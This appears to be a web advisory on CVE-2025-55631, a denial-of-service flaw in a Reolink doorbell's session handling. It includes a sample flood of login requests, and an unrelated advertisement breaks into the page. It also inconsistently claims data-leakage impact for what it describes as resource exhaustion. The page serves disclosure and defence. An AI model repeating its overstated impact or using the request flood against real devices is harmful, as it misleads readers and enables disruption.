Overview
The CVE-2025-55631 is a significant cybersecurity vulnerability discovered in the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, firmware v3.0.0.4662_2503122283. This flaw could potentially lead to a Denial of Service (DoS) attack via resource exhaustion, impacting homeowners, businesses, and other users of the device. Considering the widespread use of this product, addressing this vulnerability is of utmost importance to prevent system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-55631
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime | Firmware v3.0.0.4662_2503122283
How the Exploit Works
The vulnerability arises from how the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell manages user sessions. Instead of managing sessions on an account-by-account basis, the system manages them system-wide. An attacker could exploit this flaw by initiating multiple user sessions, leading to resource exhaustion and causing a Denial of Service (DoS).
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. In this case, the attacker initiates multiple user sessions to exhaust system resources:
POST /initiate_session HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker_1", "password": "password" }
POST /initiate_session HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker_2", "password": "password" }
...
...
...
POST /initiate_session HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker_n", "password": "password" }
This repeated process could exhaust the system resources eventually leading to a denial of service. Users are advised to apply the vendor patch or use WAF/IDS as temporary mitigation.
